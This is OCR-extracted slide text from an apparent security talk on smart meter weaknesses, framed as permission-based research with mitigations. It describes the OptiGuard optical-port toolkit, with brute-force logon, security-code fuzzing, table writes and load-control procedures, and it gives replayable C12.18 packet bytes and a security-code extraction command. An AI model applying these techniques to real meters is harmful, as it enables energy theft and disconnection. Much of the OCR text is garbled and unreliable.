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Smart Meter Research Findings 




REDACTED 
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Research Disclaimer 



• Yes, I conduct assessments on AMI 
components 

• No, I will not tell you for which 
clients 

• No, I will not tell you which vendor 
products I have analyzed 

• Yes, many of these images are 
generic 



Danger Electrocution 




I am not responsible for your actions. InGuardians, Inc. is not responsible for your actions. 




Random Image Taken From: http://www.flickr.com/photos/lwr/132854217/ 



Permission-based 



Research / Penetration Testing 

Unauthorized Testing Is Illegal EVEN IF THE METER IS ON YOUR HOUSE . 
Getting Permission For Research IS NOT IMPOSSIBLE. Contact Vendors. 
I am not responsible for your actions. InGuardians, Inc. is not responsible for your actions. 




Agenda 



Purpose 

Smart Meters 

Criminals and Smart 
Meters 

Attack/Assessment 
Optical Tool 
Mitigations 




Purpose: Presentation and Toolkit 

• Smart Meter data acquisition techniques 
have been known since January 5, 2009 

- Advanced Metering Infrastructure Attack 
Methodology [1] 

- Some vendors/utilities/people/teams are still not 
aware 

• Tools to: 

-Test functionality 
-Validate configuration 

- Generate anomalous data 



What Criminals Can Attack 




• Access and change data on meter 

• Gain access to wireless communications 

• Subvert field hardware to impact internal 
resources 



Criminal 



• Free or Reduced Energy < 

• Corporate Espionage 

• Access To Back-End Resources 

• Non-Kinetic Attack 

• Hacktivism 
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HAS ALREADY 
OCCURRED VIA 
OPTICAL PORT 



Aggregator On Poletop 
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Only One Winks At You 




Where To Start? 



Steal This? 

State of Texas: Class B Misdemeanor Theft - $50 to $500 
Jail <180 Days and/or Fine <$2000 




Meter near my barber shop. The exposed contacts scared 
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Components and Interaction 

DANGER! ! ! ^^^^^^^^^ 

Data At Rest 

- Microcontrollers 

- Memory 
. - Radios 

7 Data In Motion 

- MCU to Radio 

- MCU to MCU 

- MCU to Memory 

- Board to Board 

- IR to MCU 





Image Take From: http://www.ifeitxonVTeardowiVXXXXXXX-Smart-Meter-Teardown/5710/l 



Data 



SPI/PC Serial/ 
Parallel EEPROM - 
PDIP/SOIJ/SOIC 



1 










1 


8 


^VCC 


A1£^ 


2 


7 






3 


6 


^SCL 




4 


5 


^SDA 
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Rest 




NAND/NOR/NVRAM/SRAM/ 
CellularRAM/PSRAM/SuperFlash/ 
DataFlash - BGA/FBGA/VFBGA 



Total Phase Aardvark 
Flash Utility 
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iping Memory 




Xeltek SuperPro 5000 
plus Adapter 



Custom Extractors 




Memory 



• Data Storage Standards 

- C12.19 Tables in Transit 

• Standard Tables - 
formatted and documented 

• Manufacturer Tables - 
formatted but not 
externally documented 

- Custom 

• Obfuscated Information 
and Tables 

• Extended memory for 
firmware 

• SWAP Space 
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special_rneter.bin - Okteta 
File Edit View Windows Bookmarks Tools Settings Help 
New tf Open [— j Save Save As 

special_nieter.bin Q 



0000: 
0000: 
0000: 
0000: 
0000: 
0000: 
0000: 
0000: 



0000 ^00 51 52 00 00 00 51 52 00 00 00 00 51 52 00 

0010 
0020 
0030 
0040 

0050 
0060 
0070 



00 00 00 00 

01 BG 06 56 
00 00 00 00 
OF 51 00 00 
00 00 00 00 
FFFFFFFF 
00 00 00 00 



00 00 00 00 
10 00 00 00 
00 00 00 00 
00 00 00 00 
00 07 17 09 
FF70 1A FF 
00 00 00 00 



00 00 00 00 
00 0B 00 00 
00 00 00 E2 
00 9C 86 3E 
00 00 00 00 
00 01 6E 14 
00 00 00 00 



00 00 00 00 

03 00 00 00 

48 B7 91 00 
93 58 84 00 
00 FF FF FF 
00 24 59 00 
62 FD 



Offset: 0000:0000 Selection: 





ANSI C12.19-2008 



American National Standard 

For Utility Industry 
End Device 
Data Tables 



Data In Motion 




Random image take from some random Internet site 
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Data Eavesdropping - Step On£ 




Data Eavesd 



Persistent tapping by 
soldering leads to 
components 




Provides consistent 
monitoring for research 
and development 




ANSI C12 Communication Protocols 




C12.21: Is Worse - 
ansi C12.18-2006 because people 

think it is "secure" 



American National Standard 



Protocol Specification for ANSI ^ 

Type 2 Optical Port **' 




ANSI C12. 21-2006 



C12.18: Is Okay - 
because you know 
what you are 
getting. 



American National Standard 

Protocol Specification for 
Telephone Modem 
Co mmuni c a tio n 



Pelican Naridri, 




ANSI C12.22-2008 



American National Standard 

Protocol Specification 

For 

Interfacing to Data 
Communication Networks 



C12.22: ANSI 
committee has 
stated vendors 
should be 
implementing this 
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Logic Analyzer - Async Serial 




C12.21 
Identification 
Service 
Response 
Packet 



Analyzers can decode digital signal 
Export data to CSV formatted files 




End-of-list 



Standard 
0x00 ==C12.18 
0x02 ==C12.21 



Version 



Revision 
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C12.18 Packet Basics 




CI 2.21 Identification Service Request Packet 



4 
5 



8 



10 



Time [s] I Value j Direction I Field 
70.635036|0xEE !Metro-RXD0 jstp 
J^^mm |Mel:ro^D0!ide"nt 

^^'38^6^0x00 I'M et ro-RXD ] S eg-nbr^ 
70"639203|0x00 !Metm-i^D0!le"n0 Z 
^^40^510x01 | M et ro -TOD Me n 1 
70^i286|0x20 jfii^ 
f^M23mm2 !Mel:ro^D0!crc0 
716433710x70 1 M et r^raDO ] c rc 1 



Start packet character 

Identity 

Control Field 

Sequence Number 

Length 

Data 

- Identification Service 
CCITT CRC 
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C12.18 



iQLf 






| Hon Inse Pag Forr Dat Revi | Vie\ ? O □ ^ £3 


D19 


* 


V 


A 


B | C D 






1 Time [s] 


Value | Direction 


Field 


Notes 




n 
Z 

~3~ 


7fl GT^mTi- 


OxEE ; Metro-RXDO 


=tP 








0x00 iMetro-RXDO 


ident 




4 


7fl K-'^ • • 

iU.dj / lid 


0x20 !Metro : RXD0' 


cntl"' 






D 


r U . o »j a 


0x00 : Metro-RXDO 


Seq-nbr 






C 

o 


/ U.bo : i . •_• 


0x00 iMetro-RXDO 


lenO 




7 


70.640245 


0x0 1" iMetro-RXDO 


len1 .... ........ 




g 


70 641286 


0x20 iMetro-RXDO 


identify 




/ U.b4z jZ .: 


0x82 iMetro-RXDO 


crcO 




10 


' 70.6433 7 


0x70 IMetro-RXDO 


cicl 






11 


70"6Sf8406 


0x06 ilnG-TXDO 


ack 








/U./i b oZ 


OxEE. ilnG-TXDO 


stp 




13 


IlP;728??5 


0x00' "ilnG-TXDO " 


ident 






14 

15 




0x20 ilnG-TXDO 


cntl 






70.73::-' 


0x00 ilnG-TXDO 


Seq-nbr 




16 


" 70.73 ; 3c 2 


0x00 ilnG-TXDO 


lenO 






17 


70732895 


0x05 ilnG-TXDO 


Ien1 






18 


7C 733937 


0x00 ilnG-TXDO 


ok 




19 


7073498 


0x00 ilnG-TXDO I I 




20 
21 


70736022 


0x01 ilnG-TXDO 






70.737065 


0x00 ilnG-TXDO 






22 
23 


7073810" 


0x00 ilnG-TXDO 








70.73915 


OxFF ilnG-TXDO 


crcO 




24 


70.740192 


0x42 ilnG-TXDO 


CI c 1 




25 


70.78:::::- 


0x06 Metro-RXDOiack 






2G 
27 


70.790667 
70791709 


OxEE iMetro-RXDO istp 
0x0 : M etrc-RXEK) | id e nt 




23 
29 
30 


70792751 


:••■:: r.letro-RXDO icnti 






70 793793 
70794835 


u uu Metro-RXDO Seq-nbr 
0x00 j Met ro : RXD0| lenO 




31 


70795876 


0x05 iMetro-RXDO lien 1 






32 
33 


70.796918 
m79796 


:61 Metro-RXDO i negotiate 
0x0l' ]MelJo4^|'^'^^^' ' 




34 


70799661 


0x00 iMetro-RXDO; 






H i 


► h com bine en \ 1 






Ready 


igOH 100% © g ® :i 
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Basics 



C12.18 Request/Response 
Pattern 

- Identification 

- Negotiation 

- Logon 

- Security 

- Action (Read, Write,/^T^ 
Procedure) 

- Logoff j 

- Terminate ▼ 



CSV Parser Functionality 



trunk : bash 



V , X 



File Edit View Bookmarks Settings Help 



cutawa 
Usage: 
c 



y> python cl2 IB _csv parser. py -h 



cl2_18_csv_parser.py -rxd <file> -txd <file> [-h] [-m] [-0 <file>] 
-h -> Enable Help mode 

-rxd -> A CSV file that contains the response portion of data transmission 
-txd -> A CSV file that contains the request portion of data transmission 
-m -> Generate an output file that is marked according to the ANSI C12.18 

standard. This output may fail if the file contains errors 
-0 -> Name of the output files. This will be renamed to contain the 

date and time to make the file unique. The filename will also be 
marked with COMBO for a normal combined output and COMBO -MARKED for 
the file marked according to the ANSI C12.1B standard. 

This program is designed to parse CSV data from a Saleae Logic Analyzer. 
The input files should contain the hex byte output from the Async-Serial 
analyzer. This data should follow the ANSI C12.1B packet structure. 
This tool will generate a combined CSV file that has been sorted. If 
specified, the tool will also mark the bytes according to the ANSI 
C12.1B standard. 
cutaway> | 



p 



trunk r bash 
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Replay Tables To Talk To Tables 



File Edit View Bookmarks Settings Help 



clZ 18 fuzz client .py cl2_18_packet . py 

S Requests 

ident = [ 1 \xee\x00\x00\x00\x00\x01\x20\xl0\xl3 1 , 1 \xee\x00\x20\x00\x00\x01\x20\x82\x7O 1 ] 

nego = [ 1 \xee\xQG\x00\x00\x00\x05\x61\x01\x00\x01\x06\xb8\x25 1 , ' \xee\x00\x20\x00\x00\x05\x61\x01\x00\x01\x06\x81\xd2 1 ] 
logoff = [ 1 \xee\xQ0\x00\x00\x00\x01\x52\x86\x40 1 , 1 \xee\x00\x20\x00\x00\x01\x52\xl7\x20 1 ] 



# Responses 

ident r= [ 1 \xee\x00\x00\x00\x00\x05\x00\x00\x01\x00\x00\xc6\xb5 1 , 1 \xee\x00\x20\x00\x00\x05\x00\x00\x01\x00\x00\xff\x42 1 ] 

nego_r = [ "\xee\x00\x00\x00\x00\x05\x00\x01\x00\x01\x06\x4f\x8f 1 , "\xee\x00\x20\x00\x00\x05\x00\x01\x00\x01\x06\x76\x78" ] 

ok r = [ 1 \xee\x00\x00\x00\xBB\xBl\xBB\xll\x31" , ' \xee\x00\x20\x00\x00\x01\x00\x80\x51 ' ] 

errr = [ 1 \xee\x00\x00\xBB\xBB\xBl\xBl\x98\x26 1 , 1 \xee\x00\x20\x00\x00\x01\x01\x09\x40 1 ] 

snsr = ['\xee\x00\x00\x00\x00\x01\x02\x03\xl2', '\xee\x00\x20\x00\x00\x01\x02\x92\x72'] 

isc_r = [ , \xee\x00\x00\x00\x00\x01\x03\x8a\x93" , , \xee\x00\x20\x00\x00\x01\x03\xlb\x63' ] 

onpr = [ 1 \xee\x00\x00\x00\x00\x01\x04\x35\x77 1 , 1 \xee\x00\x20\x00\x00\x01\x04\xa4\xl7 1 ] 

iarr = [ , \xee\x00\x00\x00\x00\x01\x05\xbc\x66" , , \xee\x00\x20\x00\x00\x01\x05\x2d\x06' ] 

bsy r = 1 1 \xee\x00\x00\x00\x00\x01\x06\x27\x54' , 1 \xee\x00\x20\x00\x00\x01\x06\xb6\x34' ] 

dnr r = [ ' \xee\x00\x00\x00\x00\x01\x07\xae\x45 ' , '\xee\x00\x20\x00\x00\x01\x07\x3f\x25' ] 

dlkr = ['\xee\x00\x00\x00\x00\x01\x08\x59\xbd' , '\xee\x00\x20\x00\x00\x01\x08\xc8\xdd'] 

rnor = [ ' \xee\x00\x00\x00\x00\x01\x09\xd0\xac ' , '\xee\x00\x20\x00\x00\x01\x09\x41\xcc' ] 

isssr = [ ' \xee\x00\x00\x00\x00\x01\x0a\x4b\x9e ' , '\xee\x00\x20\x00\x00\x01\x0a\xda\xfe' ] 

# Wait can be sent as a requestor or a responder 
wait = [ \ 

[ 1 \xee\x00\x00\x00\x00\x02\x70\x01\x68\xff 1 , 1 \xee\x00\x20\x00\x00\x02\x70\x01\x08\x7a 1 ] , \ 
[ 1 \xee\x00\x00\x00\x00\x02\x70\x02\xf 3\xcd 1 , 1 \xee\x00\x20\x00\x00\x02\x70\x02\x93\x48 1 ] , \ 
[ 1 \xee\x00\x00\x00\x00\x02\x70\x03\x7a\xdc 1 , 1 \xee\x00\x20\x00\x00\x02\x70\x03\xla\x59 1 ] , \ 
[ 1 \xee\x00\x00\x00\x00\x02\x70\x04\xc5\xa8 1 , 1 \xee\x00\x20\x00\x00\x02\x70\x04\xa5\x2d 1 ] \ 

] 

term = [ '\xee\x00\x00\x00\x00\x01\x21\x9a\x01' f '\xee\x00\x20\x00\x00\x01\x21\x0b\x61' ] 



######* *********** *###### 



# Unknown Sequences 

# Two versions are provided to handle different control bytes 

# CNTL Byte needs to alternate 

logonreqnames = [ 1 Identification 1 , 1 Negotiation 1 , 1 Logon 1 , 1 Security" ] 

logon_req_seq = [ [ident [B] P nego[l] P logon [B] , security [1] ] , [ident [1] P nego[B] r logon [1] , security [B] 
logonresp names = ['ID Response" P "Nego Response" , "BK" , "OK" ] 

logon_resp_seq = [ [ident_r[B] P nego_r[l] p ok_r[B] ,ok_r[l] ] , [ident_r[l] P nego_r[B] p ok_r[l] p ok_r[B] ] ] 



■ 



memory_dump : vim 



trunk : vim 



■ 



memory_dump : bash 
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Advanced Persistent Tether 
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Serial Transmitter 

- Receive possible 

Replay C12.18 Packets 
C12.19 Table Interaction 

- Read Tables 

- Write Tables 

- Run Procedures 

Receive Responses via 
Logical Analyzer 

Parse Responses by Hand 



Hardware Client Functionality 



|H| trunk: bash <2> 

File Edit View Bookmarks Settings Help 



cutaway> python c 12_18_hw_client . py -h 

Usage: cl2_18_hw_client .py [-h] [-D] [-P <num>] [-f <file>] [-no] -a <action> [-t <num>] 
[-d <num>] [-p <nufn>] [-s <data>] [-lp <comma separated list>] 
-h: print help 

-D: turn on debugging statements 
-P <num>: Start pause seconds 
-a <action>: Perform specific action: 
test_login 

read_table: requires -t and table number or defaults to a 
read_decade: requires -d and decade number or defaults to 
runproc: requires -p and procedure number or defaults to 

-f <file>: select configuration file 

-t <num>: table number 

-d <num>: decade number 

-p <num>: procedure number 

-s <data>: data for sending 

-lp <data>: comma separated list of procedure numbers 
-no: turn off negotiation attempts 



NOTE: This tool is fire and forget. You will need to monitor the hardware lines 
with a logic analyzer to determine success and failure or to read data. 
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Wink! Wink! Wink! Wink! 



Lean In For A Closer Look 




ANSI Type 2 Optical Port: 
Not Your Typical Infra-red Port 





Remote Control 
Devices 



Provides 
/dev/ttyUSBO 
via FTDI chip 




Open Source Optical Probe? 




I guanaWork s 

Gainesville, Florida 



http ://iguanaworks .net/ 




What Do We Need To Do This?® 



• Serial Transceiver Driver 

• C12.18 Packet Driver 

• C12.18 Client 

-Reads and parses C12.19 Tables 
-Writes to C12.19 Tables 
-Runs C12.19 Procedures 
-Easy Function Updates 
-Easy Access To All Functions 



OptiGuard ( 
A Smart Meter Assessment Toolkit 
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Permission-based 



Research / Penetration Testing 

Unauthorized Testing Is Illegal EVEN IF THE METER IS ON YOUR HOUSE . 
Getting Permission For Research IS NOT IMPOSSIBLE. Contact Vendors. 
I am not responsible for your actions. InGuardians, Inc. is not responsible for your actions. 




OptiGuai 



IMI trunk: python 

File Edit View Bookmarks Settings Help 



cutaway> python cl2_18_optical_client . py 
## C12.18 Optical Client - InGuardians , Inc. 

## Please review license and Terms of Use before using this software. 

############################################################ 

Start Time: 00:50:36 12/28/11 CST 

########################################## 
## O) Quit 

## 1) Test Negotiation Sequence 

## 2) Test Logon 

## 3) Parse Configuration Table 

## 4) Parse General Manufacturer Identification Table 

## 5) Read Table 

## 6) Read Multiple Tables 

## 7) Read Decade 

## 8) Run Procedure 

## 9) Run Multiple Procedures 

## 10) Run Multiple Procedures without login 

## 11) Write Table 

## 12) Brute Force Logon 

## 13) Alternate Brute Force Logon (Read Table Verification) 

## 14) Fuzz Security code 

## 15) Alternate Fuzz Security code 

## 16) Walk User IDs 

## 17) Read Single Table walking User IDs 
## 18) Read Multiple Table walking User IDs 

## 19) Write Table 13 Demand Control Table. Table write Proof of Concept on 

## 20) Run Procedure 21 Direct Load Control and set O percent load 

## 21) Run Procedure 21 Direct Load Control and set 100 percent load 

## 22) Toggle Debug 

## 23) Terminate Session 

########################################## 
Enter Action Selection; I 



trunk : python 



trunk : bash 



trunk : vim 
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Menu 



Notes 

- Requires a VALID C12.18 
Security Code to modify 
tables or run procedures 

- Currently only works with some 
meters 

- Vendor specific functions may be 
required 

- C12.18 functions are coded for 
easy implementation and 
modification 

- Optical transfer is finicky and 
fuzzing / brute forcing is hit or 
miss and must be monitored 

- Brute force procedure runs have 
been known to 
disconnect/connect meters 

- Brute force procedure runs have 
been known to brick meters 



Using The Eye Chart 




File Edit View Bookmarks Settings Help 



cutaways* python extract_cl218_seccode.py -b -f special_meter.bin 

-st 4 -sp 23 > meter_brute_file.txt 
cutaway> wc -I meter_brute_file.txt 
12277 meter_brute_file.txt 
cutaway> head meter_brute_file.txt 
0000010000202020202020202020202020202020 
0000010020202020202020202020202020202020 

0000012000000120202020202020202020202020 
00000120000001203C0000202020202020202020 
00000120000001203C0020202020202020202020 
00000120000001203C2020202020202020202020 
0000012000002020202020202020202020202020 
0000012000202020202020202020202020202020 
0000012020202020202020202020202020202020 
0000012022202020202020202020202020202020 
cutaway> | 



V 



HI memory_dump:vim H Electrfc_Meters : bash H memory_dump : bash 

Can check one code ~ every 2 seconds 
12277 x 2 seconds = 409 minutes = 6.8 hours 
Hmmm, are failed logons logged? 
Does the meter return an error after N attempts 
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Open Wide for a Deep Look Inside 




Random Image Taken From: 
http://www.gonemoviesxom/www/Hoo 
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Mitigations - General 



• Residential meters on businesses 

-Evaluate for increased risk to client 

• Limit Shared Security Codes 

-Difficult to implement a single security 
per meter 

-Can vary in numerous ways: 

• Vendor 

• Commercial and Residential meter 

• Zip Code 



Mitigations - General (2) 



• Incident Response Planning 

-Prioritize Critical Field Assets 
-Incident Response Plan and Training 

• Employee Training 

-Identify 

- Report 

- Respond 
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40 



Mitigations - Physical 



• Tamper Alerts 

-May seem overwhelming, initially 

-Experience will identify correlating 
data to escalate appropriately 

• Toggle Optical Port 

- Use a switch that activates optical 
interface 

- Should generate a tamper alert 
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Mitigations - Data At Rest 



• Secure Data Storage 

- Encryption <- must be implemented properly 

- Hashes <- must be implemented properly 

• Configuration Integrity Checks 

-Vendor Specific 

-Some solutions systems already do this 

-Meters should function with old 
configuration until approved / denied 



Mitigations - Data In Motion 



• IR Interaction Authorization Tokens 

-Breaking or Augmenting Standard? 

• Microcontroller to <INSERT HERE> 
-C12.22 

-Obfuscated Protocols 



OptiGuard Offspring? 




• Wireless Optical Port Readers 

- Small cheap magnetic devices activated wirelessly 

• Optical Port Spraying 

- IR interaction without touching meter 

• Wireless Hardware Sniffers/MITM 

- Detect updates and modify data in transit 

• Neighborhood Area Network FHSS 
Eavesdropping 

- Channels, Spacing, Modulation, Sync Bytes, Etc 
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Vendor Participation 



• The following people helped out in 
various important ways during this 
journey. 

-Ed Beroset, Elster 

- Robert Former, Itron 

- Others who have asked not to be 
named 
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Those Who 



Gretchen, Garrison, 
and Collier Weber 

Andrew Righter 

Atlas 

Daniel Thanos 

John Sawyer 
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Be Thanked 



Joshua Wright 
Matt Carpenter 
Tom Liston 
Travis Goodspeed 
InGuardians 



consulting@inguardians.com 
Tell Them Cutaway Sent You 
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